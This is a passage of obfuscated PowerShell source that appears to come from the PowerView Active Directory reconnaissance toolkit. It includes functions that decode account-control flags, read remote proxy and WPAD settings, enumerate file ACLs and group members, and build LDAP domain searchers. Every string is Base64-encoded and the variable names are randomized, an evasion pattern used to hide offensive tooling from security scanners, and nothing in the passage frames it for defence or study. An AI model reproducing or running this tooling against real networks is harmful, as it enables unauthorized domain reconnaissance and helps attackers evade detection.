${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBDAEMATwBVAE4AVABEAEkAUwBBAEIATABFAA=='))), 2)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABPAE0ARQBEAEkAUgBfAFIARQBRAFUASQBSAEUARAA='))), 8)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABPAEMASwBPAFUAVAA='))), 16)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABBAFMAUwBXAEQAXwBOAE8AVABSAEUAUQBEAA=='))), 32)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABBAFMAUwBXAEQAXwBDAEEATgBUAF8AQwBIAEEATgBHAEUA'))), 64)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RQBOAEMAUgBZAFAAVABFAEQAXwBUAEUAWABUAF8AUABXAEQAXwBBAEwATABPAFcARQBEAA=='))), 128)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VABFAE0AUABfAEQAVQBQAEwASQBDAEEAVABFAF8AQQBDAEMATwBVAE4AVAA='))), 256)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBPAFIATQBBAEwAXwBBAEMAQwBPAFUATgBUAA=='))), 512)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBOAFQARQBSAEQATwBNAEEASQBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAA='))), 2048)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwBPAFIASwBTAFQAQQBUAEkATwBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAA='))), 4096)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBFAFIAVgBFAFIAXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAA=='))), 8192)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABPAE4AVABfAEUAWABQAEkAUgBFAF8AUABBAFMAUwBXAE8AUgBEAA=='))), 65536)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBOAFMAXwBMAE8ARwBPAE4AXwBBAEMAQwBPAFUATgBUAA=='))), 131072)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBNAEEAUgBUAEMAQQBSAEQAXwBSAEUAUQBVAEkAUgBFAEQA'))), 262144)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VABSAFUAUwBUAEUARABfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgA='))), 524288)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBPAFQAXwBEAEUATABFAEcAQQBUAEUARAA='))), 1048576)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VQBTAEUAXwBEAEUAUwBfAEsARQBZAF8ATwBOAEwAWQA='))), 2097152)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABPAE4AVABfAFIARQBRAF8AUABSAEUAQQBVAFQASAA='))), 4194304)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABBAFMAUwBXAE8AUgBEAF8ARQBYAFAASQBSAEUARAA='))), 8388608)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgAXwBGAE8AUgBfAEQARQBMAEUARwBBAFQASQBPAE4A'))), 16777216)
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABBAFIAVABJAEEATABfAFMARQBDAFIARQBUAFMAXwBBAEMAQwBPAFUATgBUAA=='))), 67108864)
}
process {
${4735753f03654f27b679e627f9e7d835} = New-Object System.Collections.Specialized.OrderedDictionary
if(${e90163d6067a479d9ce734224dc75bc9} -is [Int]) {
${6813252b61ab4c7cab7a7b8e3417f0bb} = ${e90163d6067a479d9ce734224dc75bc9}
}
if (${e90163d6067a479d9ce734224dc75bc9} -is [PSCustomObject]) {
if(${e90163d6067a479d9ce734224dc75bc9}.useraccountcontrol) {
${6813252b61ab4c7cab7a7b8e3417f0bb} = ${e90163d6067a479d9ce734224dc75bc9}.useraccountcontrol
}
}
if(${6813252b61ab4c7cab7a7b8e3417f0bb}) {
if(${b48dbad4885b4800980979010426b8fd}) {
foreach ($UACValue in ${477642117c8241ba89a5c9a261126284}.GetEnumerator()) {
if( (${6813252b61ab4c7cab7a7b8e3417f0bb} -band $UACValue.Value) -eq $UACValue.Value) {
${4735753f03654f27b679e627f9e7d835}.Add($UACValue.Name, "$($UACValue.Value)+")
}
else {
${4735753f03654f27b679e627f9e7d835}.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
else {
foreach ($UACValue in ${477642117c8241ba89a5c9a261126284}.GetEnumerator()) {
if( (${6813252b61ab4c7cab7a7b8e3417f0bb} -band $UACValue.Value) -eq $UACValue.Value) {
${4735753f03654f27b679e627f9e7d835}.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
}
${4735753f03654f27b679e627f9e7d835}
}
}
function Get-Proxy {
param(
[Parameter(ValueFromPipeline=$True)]
[ValidateNotNullOrEmpty()]
[String]
${c096522c7bbe4c7aaadf99843e3b09fb} = ${ENV:c096522c7bbe4c7aaadf99843e3b09fb}
)
process {
try {
${43d13ff79b6143e7838149d02f176464} = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwB1AHIAcgBlAG4AdABVAHMAZQByAA=='))), ${c096522c7bbe4c7aaadf99843e3b09fb})
${38aef792e5ab4c62b2e4135429181d15} = ${43d13ff79b6143e7838149d02f176464}.OpenSubkey($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBPAEYAVABXAEEAUgBFAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwAVwBpAG4AZABvAHcAcwBcAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAXABJAG4AdABlAHIAbgBlAHQAIABTAGUAdAB0AGkAbgBnAHMA'))))
${056b1ce6ffb5454891714349f70b1068} = ${38aef792e5ab4c62b2e4135429181d15}.GetValue($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAByAG8AeAB5AFMAZQByAHYAZQByAA=='))))
${06211ab02b2748e89aa7c59aff8210fa} = ${38aef792e5ab4c62b2e4135429181d15}.GetValue($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQB1AHQAbwBDAG8AbgBmAGkAZwBVAFIATAA='))))
if(${06211ab02b2748e89aa7c59aff8210fa} -and (${06211ab02b2748e89aa7c59aff8210fa} -ne "")) {
try {
${313313435c4e4e6e801ea8b6eeecefab} = (New-Object Net.Webclient).DownloadString(${06211ab02b2748e89aa7c59aff8210fa})
}
catch {
${313313435c4e4e6e801ea8b6eeecefab} = ""
}
}
else {
${313313435c4e4e6e801ea8b6eeecefab} = ""
}
if(${056b1ce6ffb5454891714349f70b1068} -or ${06211ab02b2748e89aa7c59aff8210fa}) {
${d90960fc83614a2fb42f43ab6aac95a1} = @{
'ProxyServer' = ${056b1ce6ffb5454891714349f70b1068}
'AutoConfigURL' = ${06211ab02b2748e89aa7c59aff8210fa}
'Wpad' = ${313313435c4e4e6e801ea8b6eeecefab}
}
New-Object -TypeName PSObject -Property ${d90960fc83614a2fb42f43ab6aac95a1}
}
else {
Write-Warning "No proxy settings found for ${c096522c7bbe4c7aaadf99843e3b09fb}"
}
}
catch {
Write-Warning "Error enumerating proxy settings for ${c096522c7bbe4c7aaadf99843e3b09fb}"
}
}
}
function Get-PathAcl {
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[string]
${efe450d53b084f3cb286d6a758f6ee94},
[Switch]
${d722399685d842b19fa5d48261792164}
)
begin {
function Convert-FileRight {
[CmdletBinding()]
param(
[Int]
${d3343436563645a395cc6850c039d7da}
)
${770dd19e03c9438e93e5a4ecf85c94f7} = @{
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADgAMAAwADAAMAAwADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAG4AZQByAGkAYwBSAGUAYQBkAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADQAMAAwADAAMAAwADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAG4AZQByAGkAYwBXAHIAaQB0AGUA')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADIAMAAwADAAMAAwADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAG4AZQByAGkAYwBFAHgAZQBjAHUAdABlAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADEAMAAwADAAMAAwADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAG4AZQByAGkAYwBBAGwAbAA=')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMgAwADAAMAAwADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBhAHgAaQBtAHUAbQBBAGwAbABvAHcAZQBkAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMQAwADAAMAAwADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBjAGMAZQBzAHMAUwB5AHMAdABlAG0AUwBlAGMAdQByAGkAdAB5AA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAxADAAMAAwADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AG4AYwBoAHIAbwBuAGkAegBlAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADgAMAAwADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwByAGkAdABlAE8AdwBuAGUAcgA=')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADQAMAAwADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwByAGkAdABlAEQAQQBDAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADIAMAAwADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAGEAZABDAG8AbgB0AHIAbwBsAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADEAMAAwADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABlAGwAZQB0AGUA')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADAAMAAxADAAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwByAGkAdABlAEEAdAB0AHIAaQBiAHUAdABlAHMA')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADAAMAAwADgAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADAAMAAwADQAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABlAGwAZQB0AGUAQwBoAGkAbABkAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADAAMAAwADIAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RQB4AGUAYwB1AHQAZQAvAFQAcgBhAHYAZQByAHMAZQA=')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADAAMAAwADEAMAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwByAGkAdABlAEUAeAB0AGUAbgBkAGUAZABBAHQAdAByAGkAYgB1AHQAZQBzAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADAAMAAwADAAOAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAGEAZABFAHgAdABlAG4AZABlAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwA=')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADAAMAAwADAANAA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBwAHAAZQBuAGQARABhAHQAYQAvAEEAZABkAFMAdQBiAGQAaQByAGUAYwB0AG8AcgB5AA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADAAMAAwADAAMgA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwByAGkAdABlAEQAYQB0AGEALwBBAGQAZABGAGkAbABlAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADAAMAAwADAAMQA='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAGEAZABEAGEAdABhAC8ATABpAHMAdABEAGkAcgBlAGMAdABvAHIAeQA=')))
}
${a8779104a0a74f968f9c66aea32b3eb1} = @{
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADEAZgAwADEAZgBmAA=='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgB1AGwAbABDAG8AbgB0AHIAbwBsAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMwAwADEAYgBmAA=='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBvAGQAaQBmAHkA')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMgAwADAAYQA5AA=='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAGEAZABBAG4AZABFAHgAZQBjAHUAdABlAA==')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMgAwADEAOQBmAA=='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAGEAZABBAG4AZABXAHIAaQB0AGUA')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMgAwADAAOAA5AA=='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAGEAZAA=')))
[uint32]$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4ADAAMAAwADEAMQA2AA=='))) = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwByAGkAdABlAA==')))
}
${4ffb4c62a5ab4e93aace6d298119cc66} = @()
${4ffb4c62a5ab4e93aace6d298119cc66} += ${a8779104a0a74f968f9c66aea32b3eb1}.Keys | % {
if ((${d3343436563645a395cc6850c039d7da} -band $_) -eq $_) {
${a8779104a0a74f968f9c66aea32b3eb1}[$_]
${d3343436563645a395cc6850c039d7da} = ${d3343436563645a395cc6850c039d7da} -band (-not $_)
}
}
${4ffb4c62a5ab4e93aace6d298119cc66} += ${770dd19e03c9438e93e5a4ecf85c94f7}.Keys |
? { ${d3343436563645a395cc6850c039d7da} -band $_ } |
% { ${770dd19e03c9438e93e5a4ecf85c94f7}[$_] }
(${4ffb4c62a5ab4e93aace6d298119cc66} | ?{$_}) -join ","
}
}
process {
try {
${ae419e23762545d4aaf81370b8eae36f} = Get-Acl -Path ${efe450d53b084f3cb286d6a758f6ee94}
${ae419e23762545d4aaf81370b8eae36f}.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | % {
${52a3c36fc7674b8fa055f2b23c35df57} = @()
if ($_.IdentityReference -match $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XgBTAC0AMQAtADUALQAyADEALQBbADAALQA5AF0AKwAtAFsAMAAtADkAXQArAC0AWwAwAC0AOQBdACsALQBbADAALQA5AF0AKwA=')))) {
${b2929ecf6cd74a84bce9ccd2f5622fbb} = Get-ADObject -d72c41ecfd1e4100a077ef856e028545 $_.IdentityReference
${52a3c36fc7674b8fa055f2b23c35df57} = @()
${7cec28d15b114080ad6b502c42b39341} = @(${b2929ecf6cd74a84bce9ccd2f5622fbb}.objectsid)
if (${d722399685d842b19fa5d48261792164} -and (${b2929ecf6cd74a84bce9ccd2f5622fbb}.samAccountType -ne $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('OAAwADUAMwAwADYAMwA2ADgA'))))) {
${7cec28d15b114080ad6b502c42b39341} += Get-NetGroupMember -d72c41ecfd1e4100a077ef856e028545 ${b2929ecf6cd74a84bce9ccd2f5622fbb}.objectsid | select -ExpandProperty MemberSid
}
${7cec28d15b114080ad6b502c42b39341} | % {
${52a3c36fc7674b8fa055f2b23c35df57} += ,@($_, (Convert-SidToName $_))
}
}
else {
${52a3c36fc7674b8fa055f2b23c35df57} += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value))
}
ForEach(${be2d982dffb8435b9bc6f279ce7309a8} in ${52a3c36fc7674b8fa055f2b23c35df57}) {
${fdf243b8b0474c12a0dae92138ba82bd} = New-Object PSObject
${fdf243b8b0474c12a0dae92138ba82bd} | Add-Member Noteproperty $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABhAHQAaAA='))) ${efe450d53b084f3cb286d6a758f6ee94}
${fdf243b8b0474c12a0dae92138ba82bd} | Add-Member Noteproperty $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBpAGwAZQBTAHkAcwB0AGUAbQBSAGkAZwBoAHQAcwA='))) (Convert-FileRight -d3343436563645a395cc6850c039d7da $_.FileSystemRights.value__)
${fdf243b8b0474c12a0dae92138ba82bd} | Add-Member Noteproperty $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBkAGUAbgB0AGkAdAB5AFIAZQBmAGUAcgBlAG4AYwBlAA=='))) ${be2d982dffb8435b9bc6f279ce7309a8}[1]
${fdf243b8b0474c12a0dae92138ba82bd} | Add-Member Noteproperty $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBkAGUAbgB0AGkAdAB5AFMASQBEAA=='))) ${be2d982dffb8435b9bc6f279ce7309a8}[0]
${fdf243b8b0474c12a0dae92138ba82bd} | Add-Member Noteproperty $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBjAGMAZQBzAHMAQwBvAG4AdAByAG8AbABUAHkAcABlAA=='))) $_.AccessControlType
${fdf243b8b0474c12a0dae92138ba82bd}
}
}
}
catch {
Write-Warning $_
}
}
}
function Get-NameField {
[CmdletBinding()]
param(
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
${b2929ecf6cd74a84bce9ccd2f5622fbb}
)
process {
if(${b2929ecf6cd74a84bce9ccd2f5622fbb}) {
if ( [bool](${b2929ecf6cd74a84bce9ccd2f5622fbb}.PSobject.Properties.name -match $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZABuAHMAaABvAHMAdABuAGEAbQBlAA==')))) ) {
${b2929ecf6cd74a84bce9ccd2f5622fbb}.dnshostname
}
elseif ( [bool](${b2929ecf6cd74a84bce9ccd2f5622fbb}.PSobject.Properties.name -match $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBhAG0AZQA=')))) ) {
${b2929ecf6cd74a84bce9ccd2f5622fbb}.name
}
else {
${b2929ecf6cd74a84bce9ccd2f5622fbb}
}
}
else {
return $Null
}
}
}
function Convert-LDAPProperty {
param(
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
[ValidateNotNullOrEmpty()]
${d90960fc83614a2fb42f43ab6aac95a1}
)
${d4450b926309498f8c134809102610ae} = @{}
${d90960fc83614a2fb42f43ab6aac95a1}.PropertyNames | % {
if (($_ -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bwBiAGoAZQBjAHQAcwBpAGQA')))) -or ($_ -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBpAGQAaABpAHMAdABvAHIAeQA='))))) {
${d4450b926309498f8c134809102610ae}[$_] = (New-Object System.Security.Principal.SecurityIdentifier(${d90960fc83614a2fb42f43ab6aac95a1}[$_][0],0)).Value
}
elseif($_ -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bwBiAGoAZQBjAHQAZwB1AGkAZAA=')))) {
${d4450b926309498f8c134809102610ae}[$_] = (New-Object Guid (,${d90960fc83614a2fb42f43ab6aac95a1}[$_][0])).Guid
}
elseif( ($_ -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bABhAHMAdABsAG8AZwBvAG4A')))) -or ($_ -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bABhAHMAdABsAG8AZwBvAG4AdABpAG0AZQBzAHQAYQBtAHAA')))) -or ($_ -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cAB3AGQAbABhAHMAdABzAGUAdAA=')))) -or ($_ -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bABhAHMAdABsAG8AZwBvAGYAZgA=')))) -or ($_ -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YgBhAGQAUABhAHMAcwB3AG8AcgBkAFQAaQBtAGUA')))) ) {
if (${d90960fc83614a2fb42f43ab6aac95a1}[$_][0] -is [System.MarshalByRefObject]) {
${19c69a43c106464fbf0fdd6b5df76a09} = ${d90960fc83614a2fb42f43ab6aac95a1}[$_][0]
[Int32]$High = ${19c69a43c106464fbf0fdd6b5df76a09}.GetType().InvokeMember($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABpAGcAaABQAGEAcgB0AA=='))), [System.Reflection.BindingFlags]::GetProperty, $null, ${19c69a43c106464fbf0fdd6b5df76a09}, $null)
[Int32]$Low = ${19c69a43c106464fbf0fdd6b5df76a09}.GetType().InvokeMember($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABvAHcAUABhAHIAdAA='))), [System.Reflection.BindingFlags]::GetProperty, $null, ${19c69a43c106464fbf0fdd6b5df76a09}, $null)
${d4450b926309498f8c134809102610ae}[$_] = ([datetime]::FromFileTime([Int64]($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4AHsAMAA6AHgAOAB9AHsAMQA6AHgAOAB9AA=='))) -f $High, $Low)))
}
else {
${d4450b926309498f8c134809102610ae}[$_] = ([datetime]::FromFileTime((${d90960fc83614a2fb42f43ab6aac95a1}[$_][0])))
}
}
elseif(${d90960fc83614a2fb42f43ab6aac95a1}[$_][0] -is [System.MarshalByRefObject]) {
${143725d0bfac46bfa987f3e7c4a42e6f} = ${d90960fc83614a2fb42f43ab6aac95a1}[$_]
try {
${19c69a43c106464fbf0fdd6b5df76a09} = ${143725d0bfac46bfa987f3e7c4a42e6f}[$_][0]
Write-Verbose $_
[Int32]$High = ${19c69a43c106464fbf0fdd6b5df76a09}.GetType().InvokeMember($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABpAGcAaABQAGEAcgB0AA=='))), [System.Reflection.BindingFlags]::GetProperty, $null, ${19c69a43c106464fbf0fdd6b5df76a09}, $null)
[Int32]$Low = ${19c69a43c106464fbf0fdd6b5df76a09}.GetType().InvokeMember($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABvAHcAUABhAHIAdAA='))), [System.Reflection.BindingFlags]::GetProperty, $null, ${19c69a43c106464fbf0fdd6b5df76a09}, $null)
${d4450b926309498f8c134809102610ae}[$_] = [Int64]($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4AHsAMAA6AHgAOAB9AHsAMQA6AHgAOAB9AA=='))) -f $High, $Low)
}
catch {
${d4450b926309498f8c134809102610ae}[$_] = ${143725d0bfac46bfa987f3e7c4a42e6f}[$_]
}
}
elseif(${d90960fc83614a2fb42f43ab6aac95a1}[$_].count -eq 1) {
${d4450b926309498f8c134809102610ae}[$_] = ${d90960fc83614a2fb42f43ab6aac95a1}[$_][0]
}
else {
${d4450b926309498f8c134809102610ae}[$_] = ${d90960fc83614a2fb42f43ab6aac95a1}[$_]
}
}
New-Object -TypeName PSObject -Property ${d4450b926309498f8c134809102610ae}
}
function Get-DomainSearcher {
[CmdletBinding()]
param(
[String]
${afa30c601e734738b32424a6234484e4},
[String]
${a3bf4f2494234d89b62febc9f379f624},
[String]
${c4d5e29aa5ae43dc97a75d43cbc64f02},
[String]
${bbc4680c371c4b70bf799c47787e7f27},
[ValidateRange(1,10000)]
[Int]
${c8e7665cd4cc41d88229c3536a114f1b} = 200
)
if(!${afa30c601e734738b32424a6234484e4}) {
${afa30c601e734738b32424a6234484e4} = (Get-NetDomain).name
}
else {
if(!${a3bf4f2494234d89b62febc9f379f624}) {
try {
${a3bf4f2494234d89b62febc9f379f624} = ((Get-NetDomain).PdcRoleOwner).Name
}
catch {
throw $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAHQALQBEAG8AbQBhAGkAbgBTAGUAYQByAGMAaABlAHIAOgAgAEUAcgByAG8AcgAgAGkAbgAgAHIAZQB0AHIAaQBlAHYAaQBuAGcAIABQAEQAQwAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAGQAbwBtAGEAaQBuAA==')))
}
}
}
${ae07894d0d52435cbdca89d8fe0e660b} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABEAEEAUAA6AC8ALwA=')))
if(${a3bf4f2494234d89b62febc9f379f624}) {
${ae07894d0d52435cbdca89d8fe0e660b} += ${a3bf4f2494234d89b62febc9f379f624} + "/"
}
if(${bbc4680c371c4b70bf799c47787e7f27}) {
${ae07894d0d52435cbdca89d8fe0e660b} += ${bbc4680c371c4b70bf799c47787e7f27} + ","
}
if(${c4d5e29aa5ae43dc97a75d43cbc64f02}) {
if(${c4d5e29aa5ae43dc97a75d43cbc64f02} -like $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBDADoALwAvACoA')))) {
${e43ac2d547a843e5940f7f80752eb771} = ${c4d5e29aa5ae43dc97a75d43cbc64f02}
${ae07894d0d52435cbdca89d8fe0e660b} = ""
}
else {
if(${c4d5e29aa5ae43dc97a75d43cbc64f02} -like $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABEAEEAUAA6AC8ALwAqAA==')))) {
${c4d5e29aa5ae43dc97a75d43cbc64f02} = ${c4d5e29aa5ae43dc97a75d43cbc64f02}.Substring(7)
}
${e43ac2d547a843e5940f7f80752eb771} = ${c4d5e29aa5ae43dc97a75d43cbc64f02}
}
}
else {
${e43ac2d547a843e5940f7f80752eb771} = "DC=$(${afa30c601e734738b32424a6234484e4}.Replace('.', $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LABEAEMAPQA=')))))"
}
${ae07894d0d52435cbdca89d8fe0e660b} += ${e43ac2d547a843e5940f7f80752eb771}
Write-Verbose "Get-DomainSearcher search string: ${ae07894d0d52435cbdca89d8fe0e660b}"
${7a1a8a62c2a9413989ed82181fa823b4} = New-Object System.DirectoryServices.DirectorySearcher([ADSI]${ae07894d0d52435cbdca89d8fe0e660b})
${7a1a8a62c2a9413989ed82181fa823b4}.PageSize = ${c8e7665cd4cc41d88229c3536a114f1b}
${7a1a8a62c2a9413989ed82181fa823b4}
}
function Get-NetDomain {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
${afa30c601e734738b32424a6234484e4}
)
process {
if(${afa30c601e734738b32424a6234484e4}) {
${403a42e797b24dedb7ebd080804bd56d} = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABvAG0AYQBpAG4A'))), ${afa30c601e734738b32424a6234484e4})
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain(${403a42e797b24dedb7ebd080804bd56d})
}
catch {
Write-Warning "The specified domain ${afa30c601e734738b32424a6234484e4} does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
}
}
function Get-NetForest {